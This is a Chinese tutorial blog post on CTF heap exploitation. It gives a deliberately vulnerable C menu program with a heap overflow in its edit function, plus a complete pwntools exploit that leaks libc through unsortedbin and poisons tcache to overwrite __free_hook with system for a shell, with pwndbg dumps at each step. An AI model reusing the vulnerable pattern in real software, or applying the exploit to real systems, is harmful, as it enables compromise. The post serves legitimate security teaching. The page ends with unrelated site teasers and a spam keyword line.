<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    對堆題的總體思路

    一顆小胡椒2023-03-22 09:45:21

    淺說一下pwn堆并用一個簡單的例子具體說明

    給剛入坑堆的小朋友說的一些思路

    說一下堆是什么

    堆你可以看成一個結構體數組,然后數組里每個元素都會開辟一塊內存來存儲數據

    那么這塊用來存儲數據的內存就是堆。

    結構體數組在BSS段上,其內容就是堆的地址,也就是堆的指針。

    說一下堆的理解

    堆有很多題型 什么堆溢出,off by null , uaf 等。

    核心的話主要是學思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有個過程,

    比如我們做棧題,很容易知道我要劫持棧的返回去執行任意地址,填入shellcode什么的。

    堆的話也是一樣。

    就是用system去執行/bin/sh。越復雜的問題往往只需要很簡單的道理。

    所以堆到底要怎么去執行。

    我們可以把某一個函數的內容改成system,下次調用該函數即是使用system,

    再在別的堆里面放入/bin/sh字符串,然后再用剛剛修改的函數,使用已經放入字符串的堆。

    即可執行system(/bin/sh)

    一般修改__free_hook,使其內容變成system然后再free掉放有/bin/sh的堆

    舉例說明

    我用一個很簡單的例子去一步一步簡單剖析。

    這里我用一個很簡單的例子去一步一步簡單剖析。

    先給出源碼和gcc編譯,使用的是Ubuntu18

    gcc -o lizi lizi.c
    #include
    #include
    char *heap[0x20];
    int num=0;
    void create()
    {
        if(num>=0x20)
        {
            puts("no more");
            return;
        }
        int size;
        puts("how big");
        scanf("%d",&size);
        heap[num]=(char *)malloc(size);
        num++;
    }
    void show(){
      int idx;
      char buf[4];
      puts("idx");
        (read(0, buf, 4));
        idx = atoi(buf);
      if (!heap[idx]) {
        puts("no have things");
      } else {
        printf("Content:");
        printf("%s",heap[idx]);
      }
    }
    void dele()
    {
      int idx;
      char buf[4];
      puts("idx");
        (read(0, buf, 4));
        idx = atoi(buf);
      if (!heap[idx]) {
        puts("no have things");
      } else {
          free(heap[idx]);
          heap[idx]=NULL;
          num--;
      }
    }
    void edit()
    {
      int size;
      int idx;
      char buf[4];
      puts("idx");
        (read(0, buf, 4));
        idx = atoi(buf);
      if (!heap[idx]) {
        puts("no have things");
      } else {
          puts("how big u read");
          scanf("%d",&size);
          puts("Content:");
          read(0,heap[idx],size);
      }
    }
    void menu(void){
        puts("1.create");
        puts("2.dele");
        puts("3.edit");
        puts("4.show");
    }
    void main()
    {
        int choice;
        while(1)
        {
            menu();
            scanf("%d",&choice);
            switch(choice)
            {
                case 1:create();break;
                case 2:dele();break;
                case 3:edit();break;
                case 4:show();break;
                default:puts("error");
            }
        }
    }
    

    我們也不用ida了,直接源碼分析,很明顯在edit處能知道我們可以修改堆大小,

    而導致的堆溢出修改下一個堆。

    我們可以直接使用unsortedbin,申請較大的堆,再free掉,再申請個小堆,

    使其從unsortedbin里面切割堆,這樣,你申請的小堆就會有一些unsortedbin里面的東西。

    (具體請看unsortedbin介紹)

    結合exp介紹:

    from pwn import *
    r=process('./lizi')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.log_level='debug'
    def add(size):
        r.sendlineafter("4.show",'1')
        r.sendlineafter("idx",str(size))
    def dele(idx):
        r.sendlineafter("4.show",'2')
        r.sendlineafter("idx",str(idx))
    def edit(idx,size,con):
        r.sendlineafter("4.show",'3')
        r.sendlineafter("idx",str(idx))
        r.sendlineafter("how big u read",str(size))
        r.sendafter("Content:",con)
    def show(idx):
        r.sendlineafter("4.show",'4')
        r.sendlineafter("idx",str(idx))
    add(0x420)
    add(0x420)
    add(0x420)
    dele(1)
    add(0x70)
    show(2)
    r.recvuntil("Content:")
    base=u64(r.recv(6)+'\x00'*2)-0x3ec090
    print(hex(base))
    free=base+libc.sym['__free_hook']
    sys=base+libc.sym['system']
    add(0x70)
    dele(3)
    edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))
    add(0x70)
    add(0x70)
    edit(3,0x10,"/bin/sh\x00")
    edit(4,0x10,p64(sys))
    dele(3)
    r.interactive()
    

    首先菜單不用多說,很簡單的交互,寫好就行

    然后申請3個堆,為了保證能進入unsortedbin,得大于tcache的大小,然后free掉1號堆

    unsortedbin
    all: 0x55ce36aa7aa0 —? 0x7f4f9036aca0 (main_arena+96) ?— 0x55ce36aa7aa0
    

    可以看到1號堆已經進入到unsortedbin了

    然后申請一個小堆

    pwndbg> x/32gx 0x55697b2cfaa0
    0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081
    0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090
    0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0
    0x55697b2cfad0: 0x0000000000000000 0x0000000000000000
    0x55697b2cfae0: 0x0000000000000000 0x0000000000000000
    0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb00: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb10: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1
    0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0
    0x55697b2cfb40: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb50: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb60: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb70: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb80: 0x0000000000000000 0x0000000000000000
    0x55697b2cfb90: 0x0000000000000000 0x0000000000000000
    

    查看申請堆的地址可以發現,11行處是已經之前free掉的1號堆,這個申請的堆會在unsortedbin里面切割

    然后會有殘留地址,然后我們把他show出來就可以計算一波libc地址了。

    算出system,__free_hook的libc,

    接著為什么要多申請一個堆,這里就是堆溢出的打法了,

    在剛剛申請的堆后面再建一個堆,然后通過free掉修改內容指向__free_hook地址

    再把內容改成system就可以把free當做system用了;

    edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打個斷點

    GDB看看

    pwndbg> bin
    tcachebins
    0x80 [  1]: 0x55f37c653b30 —? 0x7f4497d688e8 (__free_hook) ?— ...
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x55f37c653ba0 —? 0x7f4497d66ca0 (main_arena+96) ?— 0x55f37c653ba0
    smallbins
    empty
    largebins
    empty
    

    會發現tcache里面已經有__free_hook了,因為已經把內容改成__free_hook的地址了。

    然后申請2個堆,把tcache里面的__free_hook拿出來。

    你也可以驗證一下、

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0 
    pwndbg> x/32gx 0x5597ecced000+0x202040
    0x5597eceef040 : 0x00005597ee8ef680 0x0000000000000000
    0x5597eceef050 : 0x00005597ee8efab0 0x00005597ee8efb30
    0x5597eceef060 : 0x00007f7694f2e8e8 0x0000000000000000
    0x5597eceef070 : 0x0000000000000000 0x0000000000000000
    

    0x202040是heap的偏移,可以從ida里面找到。

    申請出來的堆,__free_hook在4號堆

    pwndbg> x/32gx 0x00007f7694f2e8e8
    0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000
    0x7f7694f2e8f8 : 0x0000000000000000 0x0000000000000000
    

    成功證明,

    然后已知4號堆是__free_hook了,那么將4號堆的內容改成system的地址,不就可以了嗎

    然后再把3號堆寫入/bin/sh

    然后free(實際上已經變成system)掉3號堆(實際上已經是/bin/sh)了

    成功取得shell

    總結

    做堆題主要是要有一個總體想法就是要把什么變成system去執行shell,或者也有別的,比如malloc,等

    這里只是一個總體思路,畢竟拿到堆題如果一條總想法都沒有的話,就只能干坐著了。

    system
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Systemctl 介紹Systemctl是一個systemd工具,主要負責控制systemd系統和服務管理器。Systemd的功能是用于集中管理和配置類UNIX系統。在Linux生態系統中,Systemd被部署到了大多數的標準Linux發行版中,只有為數不多的幾個發行版尚未部署。Systemd通常是所有其它守護進程的父進程,但并非總是如此。開始Systemd和Systemctl 基礎工具之旅01、首先檢查系統上是否安裝了systemd以及當前安裝的Systemd的版本是什么?
    之后想到了更完美的辦法
    一個未知的威脅行為者與對南非一家發電公司的網絡攻擊有關,SystemBC惡意軟件的一種新變種稱為DroxiDat,是可疑勒索軟件攻擊的前兆。
    發現漏洞七月正值暑假,閑暇時光在百度上inurl一番,找到了一個古老的企業OA系統IP站點,沒有域名,掃過一眼,.NET流行時代的普遍漏洞浮現在腦海里——SQL注入在用戶名里輸入admin’,不負期望地報了錯很明顯,前后端都沒有對用戶的輸入進行過濾,直接將’帶入了SQL語句進行。初步判斷,此OA系統存在SQL注入漏洞。漏洞驗證打開BurpSuite,設置好瀏覽器代理,抓下HTTP請求,一氣呵成。
    閑來無事,我上網隨便找了一個驅動來進行測試。
    美國國防巨頭Elbit Systems子公司Elbit Systems of America在Black Basta勒索軟件團伙宣稱入侵后披露數據泄露事件。
    SystemInformer是一款功能強大的系統安全檢測工具,該工具功能十分強大,不僅可以幫助廣大研究人員監控系統資源,而且還支持軟件調試和惡意軟件檢測。
    又是一個深夜,記錄前段時間測試的過程。唉,每次小有所學就要懈怠一會。全文高強度打碼。 0x00 一個登錄框 使用google hacking語法,翻了一翻,鎖定了目標范圍內一個看起來普普通通的登錄頁面。
    北京新云東方系統科技有限公司稱,IBM無視保密協議,為新合資企業(與浪潮集團一起)謀取客戶信息。 目前,該公司已經向美國紐約南區地方法院提起了訴訟。 早在2014年,華勝天成就與IBM中國合資成立北京新云東方系統科技有限公司(以下簡稱“新云系統”),主要負責基于Linux on Power相關的硬件和軟件產品的開發,以及向當地市場銷售IBM Power Systems 服務器。IBM持有新云系
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类